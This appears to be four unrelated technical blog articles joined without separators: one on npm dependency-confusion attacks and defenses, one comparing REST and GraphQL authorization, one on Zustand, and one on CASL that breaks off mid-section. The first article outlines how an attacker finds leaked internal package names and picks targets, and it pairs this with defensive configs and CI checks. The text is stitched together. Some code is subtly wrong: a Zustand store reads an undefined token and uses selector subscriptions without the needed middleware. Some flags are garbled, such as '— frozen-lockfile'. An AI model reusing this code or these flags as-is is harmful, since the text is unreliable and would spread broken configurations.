Why this still works

Most supply-chain attacks need something hard: a stolen maintainer token, a compromised CI runner, a zero-day in a build tool. Dependency confusion needs none of that. It works because package managers do exactly what they were configured to do, and the configuration was written by someone who assumed there was only one registry in the world.

The idea was made famous in 2021, when security researcher Alex Birsan used it, through authorized bug-bounty programs, to get code executing inside the build systems of dozens of large companies. Five years later the defenses are well documented and the attack still works, because it does not target a bug. It targets an assumption, and every new repository, registry proxy, and CI pipeline gets a fresh chance to repeat it.

This article walks through the attack the way an attacker would plan it, at the level of decisions rather than payloads, and then through the defenses I would put in place, layer by layer, with the TypeScript I would actually run in CI.

How resolution decides who wins

When a project asks for acme-utils@¹.2.0, the package manager has to answer two questions: which registry do I ask, and which version satisfies the range? Dependency confusion lives in the gap between those questions.

Unscoped names have no owner. acme-utils is not tied to your company in any way; it is a string that the default registry will serve to whoever publishes it first. If your internal registry has acme-utils@1.4.2 and a public package appears as acme-utils@99.0.0, any setup that consults both sources can end up preferring the higher version, because ^1.2.0 is not the only way a dependency is requested and “highest matching version” is the rule everywhere.

The modern variants are subtler than the original:

• Registry proxies that merge sources. A virtual repository in Artifactory, Nexus, or Verdaccio that serves internal packages and proxies npmjs under one URL can serve the public copy of a name when the internal one is missing, unpublished, or asked for at a version that was never released.
• Scopes nobody claimed. Scoped names like @acme/ui are the standard fix, but only if @acme is bound to your registry in every .npmrc and the scope is also registered on npmjs. An unbound scope falls through to the default registry, and an unregistered scope can be claimed by anyone.
• Installs without a lockfile. A CI job that runs npm install instead of npm ci, or a Dockerfile that copies package.json without the lockfile, re-resolves everything on every build.

Thinking like the attacker

If I were testing a company, with written authorization, the work would be almost entirely reconnaissance. The interesting question is never “can I publish a package?” Anyone can. The question is “which names does this company install that it does not own?”

Internal package names leak in predictable places. Public repositories and forks contain package.json files that reference private dependencies. Production JavaScript bundles and source maps often preserve import paths. Lockfiles end up in container images, published Docker layers, and npm tarballs of the company’s own public packages. Error pages, CI logs, and job postings that mention internal tooling round out the list.

Each candidate name then gets three checks. Is it unscoped, or does it use a scope the company has not registered on npmjs? Is it unclaimed on the public registry? Is there evidence it gets installed somewhere that re-resolves dependencies, such as CI jobs, fresh developer machines, or container builds? A name that passes all three is a viable target.

The final ingredient is execution. npm runs lifecycle scripts such as preinstall and postinstall by default, so a malicious package does not need to be imported by anyone. Being installed is enough. That is why the original research worked against build servers: they are machines full of credentials that install packages automatically and rarely have a human watching.

An authorized test does not need a public package at all. A local registry such as Verdaccio, configured with the same proxy rules as production, demonstrates the resolution flaw without impersonating anyone on npmjs. If a public proof of concept is ever necessary, it should contain no executable payload and be coordinated with npm and the target in advance.

Defense 1: bind every internal name to one registry

The structural fix is to make internal names impossible to resolve anywhere else. That means scoping all internal packages and pinning the scope in a committed .npmrc at the repository root, so it applies on laptops, in CI, and in container builds alike:

# .npmrc: committed to every repository, never only in a developer's home directory
@acme:registry=https://npm.acme.internal/
//npm.acme.internal/:_authToken=${NPM_TOKEN}
registry=https://registry.npmjs.org/

The registry needs the same rule from its side. If you run a proxy, the internal scope must never fall back to the public registry, even when a version is missing:

# verdaccio config.yaml: internal scope is local-only, everything else is proxied
packages:
  '@acme/*':
    access: $authenticated
    publish: $authenticated
    # no 'proxy' key here: a missing @acme package must fail, not fall through to npmjs
  '**':
    access: $all
    proxy: npmjs

Finally, register the @acme organization on npmjs even if you never publish to it. Owning the scope publicly costs nothing and removes the case where a missing .npmrc sends a scoped request to a registry where someone else owns your name.

Defense 2: claim the names you cannot scope yet

Migrating every legacy unscoped package takes time. Until it is done, the unscoped names must be owned on npmjs by an account you control, and that ownership should be verified continuously rather than assumed:

// CI guard: fail if an internal unscoped name is unclaimed, or claimed by someone else
import { readFile } from 'node:fs/promises';
 
const PUBLIC_REGISTRY = 'https://registry.npmjs.org';
const OUR_ACCOUNTS = new Set(['acme-security', 'acme-release-bot']);
 
type PublicPackage = { maintainers?: { name: string }[] };
 
async function checkName(name: string): Promise<string | null> {
  const res = await fetch(`${PUBLIC_REGISTRY}/${encodeURIComponent(name)}`);
  if (res.status === 404) return `${name}: unclaimed on npmjs, anyone can publish it`;
  if (!res.ok) throw new Error(`Lookup failed for ${name}: HTTP ${res.status}`);
 
  const pkg = (await res.json()) as PublicPackage;
  const owners = (pkg.maintainers ?? []).map((m) => m.name);
  // A public copy we do not maintain is not a warning, it is an incident
  return owners.some((o) => OUR_ACCOUNTS.has(o))
    ? null
    : `${name}: CLAIMED BY UNKNOWN MAINTAINERS (${owners.join(', ')})`;
}
 
async function main() {
  // Exported nightly from the private registry: every name we publish internally
  const internal: string[] = JSON.parse(await readFile('internal-packages.json', 'utf8'));
  const unscoped = internal.filter((n) => !n.startsWith('@acme/'));
 
  const results = await Promise.all(unscoped.map(checkName));
  const problems = results.filter((r): r is string => r !== null);
  if (problems.length > 0) {
    console.error(problems.join('\n'));
    process.exit(1);
  }
}
 
main().catch((err) => {
  // Fail closed: if we cannot verify ownership, the build does not pass
  console.error(err);
  process.exit(1);
});

The placeholder packages you publish to hold these names should be empty, deprecated with a message pointing to the internal registry, and contain no install scripts.

Defense 3: treat the lockfile as a security artifact

A lockfile records exactly where every package came from. That makes it the most useful evidence you have, provided installs respect it. In CI, that means npm ci (or pnpm install — frozen-lockfile, or yarn install — immutable) so a build fails instead of quietly re-resolving.

It also means reading the lockfile, not only trusting it. A pull request that changes an internal package’s resolved URL from your registry to npmjs is the attack in progress, and a reviewer scrolling through a 4,000-line lockfile diff will not see it. A script will:

// Lockfile audit: every package must come from the registry its name says it should
import { readFile } from 'node:fs/promises';
 
const INTERNAL = 'https://npm.acme.internal/';
const PUBLIC = 'https://registry.npmjs.org/';
 
type LockEntry = { version?: string; resolved?: string; integrity?: string; link?: boolean };
type Lockfile = { lockfileVersion: number; packages: Record<string, LockEntry> };
 
function packageName(path: string): string {
  // "node_modules/a/node_modules/@acme/ui" -> "@acme/ui"
  return path.slice(path.lastIndexOf('node_modules/') + 'node_modules/'.length);
}
 
async function main() {
  const lock: Lockfile = JSON.parse(await readFile('package-lock.json', 'utf8'));
  const internalNames = new Set<string>(
    JSON.parse(await readFile('internal-packages.json', 'utf8')),
  );
 
  const violations: string[] = [];
  for (const [path, entry] of Object.entries(lock.packages)) {
    if (path === '' || entry.link) continue; // root project and workspace links
 
    const name = packageName(path);
    const internal = name.startsWith('@acme/') || internalNames.has(name);
    // If all traffic goes through one proxy, compare against its per-repository paths instead
    const expected = internal ? INTERNAL : PUBLIC;
 
    if (!entry.resolved?.startsWith(expected)) {
      violations.push(`${name}@${entry.version}: resolved from ${entry.resolved ?? 'unknown'}`);
    }
    if (!entry.integrity) {
      violations.push(`${name}@${entry.version}: missing integrity hash`);
    }
  }
 
  if (violations.length > 0) {
    console.error(`Registry violations:\n${violations.join('\n')}`);
    process.exit(1);
  }
}
 
main().catch((err) => {
  console.error(err);
  process.exit(1);
});

Defense 4: make installation boring

Every layer above can fail: a new repository without the .npmrc, a proxy rule changed during an outage, a placeholder that lapsed. The last layer limits what a confused install can do.

Disabling lifecycle scripts by default removes the “installed means executed” property that makes this attack so effective. Packages that genuinely need a build step, such as native modules, get an explicit allowlist. pnpm makes this a first-class setting, and its release-age delay adds a cooling-off period for brand-new versions, which is exactly what a freshly published attacker package is:

# pnpm-workspace.yaml: no install scripts unless explicitly allowed, no brand-new versions
onlyBuiltDependencies:
  - esbuild
  - sharp
minimumReleaseAge: 4320   # minutes: ignore versions published in the last 3 days

With npm, the equivalent is ignore-scripts=true in .npmrc plus an explicit npm rebuild for the few packages that need it. Run installs in CI with short-lived, narrowly scoped credentials, so that even a successful install script finds little worth stealing.

None of these settings is free. Ignoring scripts breaks some packages until they are allowlisted, release-age delays slow down urgent security patches, and private registries are infrastructure someone has to own. The trade is a small amount of friction on every install against an attack that only has to succeed once.

Summary

• Dependency confusion exploits configuration, not code: an unscoped or unbound name, a registry that falls back to npmjs, and an install that re-resolves.
• Attackers spend their effort on reconnaissance. Internal names leak through repositories, bundles, source maps, lockfiles, and container images.
• Scope every internal package, pin the scope in a committed .npmrc, and make the private registry refuse to proxy that scope.
• Register your scope on npmjs and claim legacy unscoped names, then verify that ownership in CI.
• Install with npm ci or a frozen lockfile, and audit resolved URLs automatically on every pull request.
• Disable install scripts by default and delay brand-new versions, so a confused install cannot execute on arrival.
• Test with a local registry, never by impersonating a real company’s package on npmjs.

—

We spend a lot of effort deciding who may push code into our repositories and almost none deciding who may name it. A package manager does not know which acme-utils is yours; it only knows which one has the bigger number. Dependency confusion is what happens when identity is left to a string, and the defense is the same one that works everywhere else in security: make ownership explicit, then check it on every request.

The experiment

I wanted a fair comparison, so I held everything constant except the API layer. The backend tracks work: workspaces, projects, tasks, comments, and members. One PostgreSQL database, one set of domain services, one Node.js runtime. On top of that sat two front doors: an Express REST API and a GraphQL server on Apollo. The same React client was built twice, once against each.

I expected a story about latency and payload size, and for a while that is what I got. The first GraphQL version was slower on list screens because a naive resolver tree loads each task’s assignee with its own query. That is the classic N+1 problem. The REST version had the mirror-image issue: the dashboard either over-fetched from generic endpoints or needed purpose-built ones.

Both problems have cheap, well-known fixes. On the GraphQL side, a request-scoped DataLoader collapses those lookups into one query:

// Batch assignee lookups so a list of 50 tasks costs one query, not 50
import DataLoader from 'dataloader';
import type { User } from './domain/types';
import { usersRepo } from './repos/users';
 
export function createLoaders() {
  return {
    // One loader per request: the cache must never leak between viewers
    userById: new DataLoader<string, User | null>(async (ids) => {
      const rows = await usersRepo.findByIds([...ids]);
      const byId = new Map(rows.map((u) => [u.id, u]));
      // DataLoader requires results in the same order as the keys
      return ids.map((id) => byId.get(id) ?? null);
    }),
  };
}

After that, the latency gap between the two APIs was smaller than the variance between runs of the same API. Performance turned out to be the solved part. What kept rewriting my code, and my mental model, was where decisions lived.

Authorization moved from the door to the furniture

In the REST version, authorization had an obvious home: the route. GET /projects/:projectId/tasks maps to one operation on one resource, so a middleware can answer “can this user read tasks in this project?” before any handler runs. The URL is the policy boundary, and audit logs read like sentences: who, which verb, which resource.

// REST: the route is the policy boundary, so one check guards the whole response
import { Router, type Request, type Response, type NextFunction } from 'express';
import { authz } from './authz';
import { tasksService } from './domain/tasks';
 
const router = Router();
 
function requirePermission(action: string, param: string) {
  return async (req: Request, res: Response, next: NextFunction) => {
    try {
      const allowed = await authz.check({
        subject: req.user.id, // set earlier by the authentication middleware
        action,
        resource: { type: 'project', id: req.params[param] },
      });
      if (!allowed) return res.status(403).json({ error: 'forbidden' });
      next();
    } catch (err) {
      // Fail closed: if the policy engine is unavailable, nobody gets in
      next(err);
    }
  };
}
 
router.get('/projects/:projectId/tasks',
  requirePermission('task:read', 'projectId'),
  async (req, res, next) => {
    try {
      res.json(await tasksService.listByProject(req.user, req.params.projectId));
    } catch (err) {
      next(err);
    }
  });

GraphQL has one endpoint. A single query can start at the viewer, walk into a workspace, list its projects, open their tasks, and pull the email of every comment author, all in one request. There is no route to guard. Every field is a door, and the graph lets a client reach the same door from several directions: task.assignee.email and comment.author.email return the same data through different paths, and both need the same answer.

The tempting fix is to put checks in resolvers. That works until there are forty resolvers and three of them forget. The approach that held up was moving authorization below both APIs, into the domain layer, so the transport stops making policy decisions at all.

// Shared domain layer: REST handlers and GraphQL resolvers both call this,
// so the policy exists in exactly one place
import { authz, ForbiddenError } from './authz';
import { tasksRepo } from './repos/tasks';
import type { Viewer, Task, Context } from './types';
 
export const tasksService = {
  async getById(viewer: Viewer, taskId: string): Promise<Task | null> {
    const task = await tasksRepo.findById(taskId);
    if (!task) return null;
    // Check against the parent project so inherited access works
    const allowed = await authz.check({
      subject: viewer.id,
      action: 'task:read',
      resource: { type: 'project', id: task.projectId },
    });
    if (!allowed) throw new ForbiddenError('task:read');
    return task;
  },
};
 
// The resolver becomes a thin adapter with no policy of its own
export const resolvers = {
  Query: {
    task: (_: unknown, args: { id: string }, ctx: Context) =>
      tasksService.getById(ctx.viewer, args.id),
  },
};

Some rules really are about a field rather than a resource. Member emails were the clearest case: visible to the member themselves and to workspace admins, hidden from everyone else.

// Field-level rule: email is visible to its owner and to workspace admins only
export const userResolvers = {
  User: {
    email: async (user: User, _: unknown, ctx: Context) => {
      if (user.id === ctx.viewer.id) return user.email;
      const isAdmin = await ctx.authz.check({
        subject: ctx.viewer.id,
        action: 'member:read_pii',
        resource: { type: 'workspace', id: user.workspaceId },
      });
      // Returning null keeps the rest of the query intact instead of failing it
      return isAdmin ? user.email : null;
    },
  },
};

One warning: per-field checks multiply fast. A list of 50 comments means 50 email checks, so the authorization calls need the same batching treatment as the database calls. A request-scoped loader over authz.check solves it the same way DataLoader solved N+1.

This was the part that surprised me most. REST let me be coarse and get away with it. GraphQL forced me to decide, field by field, what the policy was, which was work I should have done anyway. The REST API had been hiding the gaps behind response shapes that happened not to include sensitive fields.

Caching stopped being free

A REST GET rides decades of HTTP infrastructure: Cache-Control, ETag, CDNs, and browser caches all understand it without any work from you. GraphQL over POST gets none of that by default. Apollo Client’s normalized cache covers the browser, but the network layer is on its own.

The fix that recovered most of it was persisted queries. The client sends a hash of a known operation instead of the query text, which makes the request small enough to send as a cacheable GET. It also turned out to be a security control, because the server refuses anything that is not in the manifest.

// Persisted queries: clients send a hash, the server executes only operations it knows
import type { Request, Response, NextFunction } from 'express';
import manifest from './persisted-operations.json'; // generated from the client at build time
 
const operations = new Map<string, string>(Object.entries(manifest));
 
export function persistedOnly(req: Request, res: Response, next: NextFunction) {
  const id = req.method === 'GET' ? req.query.id : req.body?.id;
  const query = typeof id === 'string' ? operations.get(id) : undefined;
  if (!query) {
    // Arbitrary queries are rejected in production, so this doubles as an allowlist
    return res.status(400).json({ errors: [{ message: 'Unknown operation' }] });
  }
  req.body = { ...req.body, query };
  next();
}

Authorization came back here too. In REST it is usually obvious which routes return viewer-specific data, so they get Cache-Control: private and everything else can go to the CDN. In GraphQL, a single field changes the answer. The moment a query includes email, the whole response depends on who is asking and must not land in a shared cache.

Failure got a new shape

REST communicates failure through status codes, and every load balancer, dashboard, and alert already speaks that language. GraphQL usually answers 200 OK with partial data and an errors array. My first GraphQL deployment had green dashboards while users stared at half-rendered screens, because the alerts were keyed on 5xx responses that never came.

The fix was to treat the operation, not the HTTP request, as the unit of observability, and to be deliberate about what each error tells the client:

// Report GraphQL errors per operation, because the HTTP status will almost always be 200
import { ApolloServer } from '@apollo/server';
import { unwrapResolverError } from '@apollo/server/errors';
import { ForbiddenError } from './authz';
import { metrics } from './observability';
 
const CLIENT_CODES = new Set(['GRAPHQL_VALIDATION_FAILED', 'BAD_USER_INPUT']);
 
const server = new ApolloServer<Context>({
  typeDefs,
  resolvers,
  formatError: (formatted, error) => {
    if (CLIENT_CODES.has(String(formatted.extensions?.code))) return formatted;
    if (unwrapResolverError(error) instanceof ForbiddenError) {
      return { message: 'Forbidden', extensions: { code: 'FORBIDDEN' } };
    }
    // Never leak stack traces or SQL errors to the client
    return { message: 'Internal error', extensions: { code: 'INTERNAL' } };
  },
  plugins: [{
    async requestDidStart() {
      return {
        async didEncounterErrors({ operationName, errors }) {
          metrics.increment('graphql.errors', errors.length, {
            operation: operationName ?? 'anonymous',
          });
        },
      };
    },
  }],
});

Partial results are a real feature: a dashboard can render nine widgets when the tenth fails. But they move the definition of “success” from the infrastructure into your code, and you have to rebuild the monitoring that used to come for free.

Cost became part of the API contract

In REST, the server decides how expensive each endpoint is. In GraphQL, the client composes the cost. A query that goes from projects to tasks to comments to authors and back to their projects is valid, and each level multiplies the work. Without limits, the most expensive request your system can serve is whatever the most creative client can write.

// Bound what a single request can cost before any resolver runs
import depthLimit from 'graphql-depth-limit';
 
const server = new ApolloServer<Context>({
  typeDefs,
  resolvers,
  validationRules: [depthLimit(6)],
});

Depth limits are the blunt tool. Query complexity scoring and hard caps on pagination arguments such as first are the sharper ones. Persisted queries reduce the problem further, because the set of possible operations becomes finite and reviewable. The same mechanism keeps showing up as the answer to caching, security, and cost, which says something about how much of GraphQL’s flexibility production systems actually want to expose.

So which one?

“Which is faster?” turned out to be the wrong question. These were the ones that mattered:

Who are your clients? Many first-party clients with different data needs, such as web, mobile, and internal tools, are where GraphQL earns its overhead. Public APIs for third parties, with stable resources and heavy caching, favor REST.

How mature is your authorization model? If you cannot state the policy for each sensitive field, GraphQL will expose that quickly. REST will let you postpone it, which is not the same as not needing it.

Where does policy live? Because both APIs called the same domain services, and those services owned authorization, the choice between REST and GraphQL was reversible. I ran both in parallel on the same data. That is the property worth designing for, regardless of which front door you open first.

Summary

• Once N+1 queries and over-fetching were fixed, the performance difference between REST and GraphQL disappeared into run-to-run noise for this workload.
• REST puts authorization at the route. GraphQL spreads it across every field and every path through the graph.
• Moving authorization into the domain layer turned both APIs into thin adapters and made the API choice reversible.
• Per-field authorization checks need batching, just like per-field database calls.
• GraphQL gives up HTTP caching by default. Persisted queries recover much of it and double as an operation allowlist.
• A 200 status no longer means success, so monitor GraphQL errors per operation.
• Clients compose the cost of a GraphQL query, which makes depth, complexity, and pagination limits part of the design.

—

Building the same backend twice taught me that an API style is less a transport choice than a disclosure policy. REST lets you answer in whole resources and quietly skip the hard questions. GraphQL hands every client a map of the doors in your system and waits to see which ones you forgot to lock. Choose the one whose questions you are ready to answer, and keep the locks somewhere neither of them owns.

The problem with state management in React

React solved component-level state beautifully with useState. The problem appears the moment two components that don’t share a parent need to read or update the same value. The instinct is to lift state up — but lift it far enough and you end up with a deeply nested component tree where state lives at the top and props are passed through every intermediate layer whether they need them or not. This is prop drilling, and it degrades code quality quickly.

Context API was React’s answer. It lets you broadcast a value to any component in a subtree without passing it through props. For low-frequency values — the current theme, the authenticated user — Context works well. For frequently-changing state, it has a known performance problem: every component that consumes a Context re-renders whenever any part of that Context changes, regardless of whether that specific component needed the updated value.

Redux solved the performance and scale problems, but at a significant cost: actions, reducers, dispatch, selectors, middleware, store configuration. Even with Redux Toolkit reducing the boilerplate substantially, Redux imposes a mental model and a code structure that many applications simply do not need.

Zustand is the pragmatic answer to that trade-off. It is a small (about 1KB gzipped), fast, hook-based state management library that requires almost no setup, imposes no structure, and scales from a simple counter to complex multi-slice application state — without changing its API.

What makes Zustand different

Zustand is built on three principles that set it apart from Redux and Context:

• No providers — there is no wrapping component, no context tree, no Provider to add to your app root. A Zustand store is just a hook. You import it and use it anywhere.
• Selective subscriptions — a component only re-renders when the specific slice of state it subscribes to changes. If a component reads count but not name, changing name does not trigger a re-render of that component.
• Mutations are plain functions — you update state by calling a function. There are no actions, no dispatch, no reducers. The function calls set() with the next state. That is the entire model.

Creating a store

A Zustand store is created with create(). You define the initial state and the actions that mutate it in the same object — no separate files, no boilerplate:

// store/useCounterStore.ts
import { create } from 'zustand';

interface CounterState {
  count:     number;
  increment: () => void;
  decrement: () => void;
  reset:     () => void;
  incrementBy: (amount: number) => void;
}

export const useCounterStore = create<CounterState>((set) => ({
  count: 0,

  increment:   () => set((state) => ({ count: state.count + 1 })),
  decrement:   () => set((state) => ({ count: state.count - 1 })),
  reset:       () => set({ count: 0 }),
  incrementBy: (amount) => set((state) => ({ count: state.count + amount })),
}));

That’s it. No action types, no reducers, no dispatch. The store is ready to use in any component.

Using the store in components

Components subscribe to a store by calling the hook with a selector. Only the specific value selected triggers a re-render — this is the key performance advantage over Context:

// components/Counter.tsx
import { useCounterStore } from '../store/useCounterStore';

export function Counter() {
  // Only re-renders when 'count' changes — not when other store values change
  const count     = useCounterStore((state) => state.count);
  const increment = useCounterStore((state) => state.increment);
  const decrement = useCounterStore((state) => state.decrement);

  return (
    <div>
      <button onClick={decrement}>−</button>
      <span>{count}</span>
      <button onClick={increment}>+</button>
    </div>
  );
}

// components/ResetButton.tsx
// This component only subscribes to reset — it NEVER re-renders when count changes
export function ResetButton() {
  const reset = useCounterStore((state) => state.reset);
  return <button onClick={reset}>Reset</button>;
}

A real-world store: authenticated user with cart

Zustand handles real application state — authentication, cart management, async operations — with the same clean API:

// store/useAppStore.ts
import { create } from 'zustand';

interface User { id: string; name: string; email: string; role: string; }
interface CartItem { productId: string; name: string; qty: number; price: number; }

interface AppState {
  // Auth slice
  user:    User | null;
  token:   string | null;
  login:   (email: string, password: string) => Promise<void>;
  logout:  () => void;

  // Cart slice
  cart:         CartItem[];
  addToCart:    (item: CartItem) => void;
  removeFromCart: (productId: string) => void;
  clearCart:    () => void;
  cartTotal:    () => number;
}

export const useAppStore = create<AppState>((set, get) => ({
  // Auth
  user:  null,
  token: null,

  login: async (email, password) => {
    const res  = await fetch('/api/auth/login', {
      method: 'POST',
      body:   JSON.stringify({ email, password }),
      headers: { 'Content-Type': 'application/json' },
    });
    const data = await res.json();
    set({ user: data.user, token: data.token });
  },

  logout: () => set({ user: null, token: null, cart: [] }),

  // Cart
  cart: [],

  addToCart: (item) => set((state) => {
    const existing = state.cart.find(i => i.productId === item.productId);
    if (existing) {
      return { cart: state.cart.map(i =>
        i.productId === item.productId ? { ...i, qty: i.qty + 1 } : i
      )};
    }
    return { cart: [...state.cart, item] };
  }),

  removeFromCart: (productId) =>
    set((state) => ({ cart: state.cart.filter(i => i.productId !== productId) })),

  clearCart: () => set({ cart: [] }),

  // Computed value using get() to access current state
  cartTotal: () => get().cart.reduce((sum, item) => sum + item.price * item.qty, 0),
}));

Slices pattern — splitting large stores

As stores grow, the slices pattern keeps them maintainable. Each slice is a function that returns its own piece of state and its own actions — they are composed into a single store:

// store/slices/authSlice.ts
import { StateCreator } from 'zustand';

export interface AuthSlice {
  user: User | null;
  login:  (email: string, password: string) => Promise<void>;
  logout: () => void;
}

export const createAuthSlice: StateCreator<AuthSlice> = (set) => ({
  user: null,
  login:  async (email, password) => {
    const { user } = await loginApi(email, password);
    set({ user });
  },
  logout: () => set({ user: null }),
});

// store/slices/cartSlice.ts
export interface CartSlice {
  cart:      CartItem[];
  addToCart: (item: CartItem) => void;
  clearCart: () => void;
}

export const createCartSlice: StateCreator<CartSlice> = (set) => ({
  cart: [],
  addToCart: (item) => set((s) => ({ cart: [...s.cart, item] })),
  clearCart: () => set({ cart: [] }),
});

// store/useStore.ts — compose slices into one store
import { create } from 'zustand';

type StoreState = AuthSlice & CartSlice;

export const useStore = create<StoreState>((...args) => ({
  ...createAuthSlice(...args),
  ...createCartSlice(...args),
}));

Middleware — persistence, devtools, and immer

Zustand ships with first-class middleware support. The three most commonly used are persist (saves state to localStorage or sessionStorage), devtools (connects to Redux DevTools), and immer (enables mutating-style updates):

// store/useSettingsStore.ts — persist + devtools + immer
import { create } from 'zustand';
import { persist, devtools } from 'zustand/middleware';
import { immer } from 'zustand/middleware/immer';

interface SettingsState {
  theme:    'light' | 'dark';
  language: string;
  notifications: { email: boolean; push: boolean; };
  setTheme:    (t: 'light' | 'dark') => void;
  toggleEmail: () => void;
}

export const useSettingsStore = create<SettingsState>()(
  devtools(
    persist(
      immer((set) => ({
        theme:    'light',
        language: 'en',
        notifications: { email: true, push: false },

        setTheme: (theme) => set((state) => { state.theme = theme; }),

        // Immer enables direct mutation syntax — no spread needed
        toggleEmail: () => set((state) => {
          state.notifications.email = !state.notifications.email;
        }),
      })),
      { name: 'settings-storage' }  // localStorage key
    ),
    { name: 'SettingsStore' }        // Redux DevTools label
  )
);

Reading state outside components

Zustand stores are not limited to React components. You can read and update state from any module — useful for API utilities, WebSocket handlers, or server-side logic:

// lib/api.ts — access store state outside React
import { useStore } from '../store/useStore';

export async function authenticatedFetch(url: string, options?: RequestInit) {
  // getState() returns the current state synchronously — no hook needed
  const token = useStore.getState().token;

  const res = await fetch(url, {
    ...options,
    headers: {
      ...options?.headers,
      Authorization: token ? `Bearer ${token}` : '',
    },
  });

  // Update store state from outside React if needed
  if (res.status === 401) {
    useStore.setState({ user: null, token: null });
  }

  return res;
}

// Subscribe to store changes from outside React
useStore.subscribe(
  (state) => state.user,   // selector
  (user) => {              // callback when user changes
    if (!user) console.log('User logged out — cleanup');
  }
);

Zustand vs Context API vs Redux — when to use each

The three options serve different needs, and the right choice depends on the specific requirements of your application:

• Context API — best for low-frequency, rarely-changing state: the current authenticated user, the selected theme, the active locale. Not suitable for state that updates frequently (search input, cart, UI state) because every consumer re-renders on every change.
• Redux Toolkit — best for large-scale applications with complex state interactions, time-travel debugging requirements, or teams that need strict architectural conventions enforced by tooling. Redux’s opinionated structure is a feature in large teams, not a bug.
• Zustand — the right default for most new projects. No providers, selective subscriptions, minimal boilerplate, excellent TypeScript support, and first-class middleware for persistence and devtools. Scales from a simple counter to enterprise-level application state without changing its API.

Summary

• No providers — Zustand stores are plain hooks; no Provider component required
• Selective subscriptions — components only re-render when the specific slice they selected changes
• Mutations are plain functions — set() replaces actions, reducers, and dispatch
• Slices pattern — large stores split into composable functions, merged at create() time
• Middleware built-in — persist, devtools, and immer ship with Zustand out of the box
• Works outside React — getState(), setState(), and subscribe() work anywhere in your codebase

—

State management is one of those topics where the right tool often depends less on technical requirements and more on team size, codebase complexity, and how much structure you want enforced. For most new React projects in 2025, Zustand gives you everything you actually need — performant subscriptions, TypeScript support, middleware, and a minimal API — without asking you to adopt an architecture you might not need for years, if ever.

The same authorization logic, running everywhere

Every access control system faces the same structural temptation: duplicate the rules. Define what an admin can do on the backend, then rewrite a version of it on the frontend to show or hide buttons, then repeat it again in the database query layer to filter rows. Three copies of the same logic, each slightly different, each a potential source of drift.

CASL (pronounced “castle”) is an isomorphic authorization library for JavaScript and TypeScript designed to eliminate that duplication. A single Ability definition — describing what a user can and cannot do on which subjects under which conditions — runs identically on the Node.js backend, the React frontend, and the database query layer. The rule is written once. The enforcement happens everywhere.

CASL is incrementally adoptable: you can start with simple role-based rules and evolve toward attribute-based conditions and field-level restrictions without changing your data model or rewriting your existing checks.

Core concepts

CASL’s model is built on four primitives that combine to express any authorization rule:

• Action — what the user is doing: read, create, update, delete, or any custom verb (publish, approve, export)
• Subject — what the action applies to: a class like Post or User, or a string like ‘analytics’
• Conditions — optional MongoDB-style predicates that restrict which instances are affected: { authorId: user.id }
• Fields — optional field-level restrictions: a user can update their profile but only name and bio, not role

These four primitives cover the full spectrum from coarse-grained RBAC (admin can manage all resources) to fine-grained ABAC (analyst can read reports where department matches their own, during business hours, excluding salary fields).

The problem without CASL

Without a shared authorization library, the typical pattern in a TypeScript full-stack application looks like this:

// backend/routes/posts.ts
app.put('/posts/:id', async (req, res) => {
  const post = await db.posts.findById(req.params.id);
  // Rule duplicated inline, different on every route
  if (req.user.role !== 'admin' && post.authorId !== req.user.id) {
    return res.status(403).json({ error: 'Access denied' });
  }
  // ...
});

// frontend/components/PostActions.tsx
// Same rule, rewritten for the UI — already drifting
function PostActions({ post, user }) {
  const canEdit = user.role === 'admin' || post.authorId === user.id;
  return canEdit ? <EditButton /> : null;
}

// backend/queries/posts.ts
// Same rule again, now as a SQL condition — three copies, zero guarantee they agree
const posts = await db.posts.findAll({
  where: user.role === 'admin' ? {} : { authorId: user.id }
});

Three copies of the same rule. When the rule changes — say, moderators get edit access too — you need to find and update all three. Miss one and you have a security bug or a UX inconsistency. CASL eliminates this by making the Ability the single source of truth for all three layers.

Defining abilities

The Ability is defined once, typically when the user authenticates, and passed through the application:

// casl/ability.ts — single source of truth for all permissions
import { AbilityBuilder, createMongoAbility, MongoAbility } from '@casl/ability';

type Actions = 'create' | 'read' | 'update' | 'delete' | 'manage' | 'publish';
type Subjects = 'Post' | 'Comment' | 'User' | 'Analytics' | 'all';

export type AppAbility = MongoAbility<[Actions, Subjects]>;

export function defineAbilityFor(user: { id: string; role: string; department: string }): AppAbility {
  const { can, cannot, build } = new AbilityBuilder<AppAbility>(createMongoAbility);

  if (user.role === 'admin') {
    can('manage', 'all');  // admins can do everything
    return build();
  }

  if (user.role === 'moderator') {
    can('read',   'Post');
    can('update', 'Post');   // moderators can edit any post
    can('delete', 'Comment');
  }

  if (user.role === 'author') {
    can('create', 'Post');
    can('read',   'Post');
    can('update', 'Post', { authorId: user.id });  // only own posts
    can('delete', 'Post', { authorId: user.id });  // only own posts
    can('publish', 'Post', { authorId: user.id }); // only own posts
    cannot('update', 'Post', ['role', 'verified']); // field restriction
  }

  can('read', 'Post');  // everyone can read posts

  return build();
}

Backend enforcement — Express middleware

On the backend, CASL integrates directly into your middleware layer. The ability is built from the authenticated user and attached to the request:

// middleware/ability.ts — build ability from authenticated user
import { Request, Response, NextFunction } from 'express';
import { defineAbilityFor } from '../casl/ability';

export function loadAbility(req: Request, _res: Response, next: NextFunction) {
  req.ability = defineAbilityFor(req.user);
  next();
}

// middleware/authorize.ts — check ability on a subject instance
import { subject } from '@casl/ability';
import { Actions, Subjects } from '../casl/ability';

export function authorize(action: Actions, subjectType: Subjects) {
  return (req: Request, res: Response, next: NextFunction) => {
    if (req.ability.cannot(action, subjectType)) {
      return res.status(403).json({ error: 'Access denied' });
    }
    next();
  };
}

// routes/posts.ts — clean, declarative route protection
app.put('/posts/:id',
  loadAbility,
  async (req, res) => {
    const post = await db.posts.findById(req.params.id);

    // Check against the actual subject instance — conditions evaluated here
    if (req.ability.cannot('update', subject('Post', post))) {
      return res.status(403).json({ error: 'Access denied' });
    }

    await db.posts.update({ id: post.id }, req.body);
    res.json({ ok: true });
  }
);

Database layer — filtering with accessible fields

One of CASL’s most powerful features is its ability to generate database query conditions directly from the ability definition. The accessibleBy helper translates your CASL rules into a MongoDB-compatible condition object — meaning the database only returns records the user is allowed to see, without a separate post-fetch filter:

// queries/posts.ts — CASL generates the query condition automatically
import { accessibleBy } from '@casl/mongoose';
import { AppAbility } from '../casl/ability';

export async function getAccessiblePosts(ability: AppAbility) {
  // accessibleBy() translates ability rules into a MongoDB query filter
  // An author gets: { authorId: user.id }
  // An admin gets:  {} (no filter — can read all)
  // A visitor gets: {} (can read all public posts)
  const posts = await Post.find(accessibleBy(ability, 'read').Post);
  return posts;
}

// For SQL databases, generate conditions manually from rules:
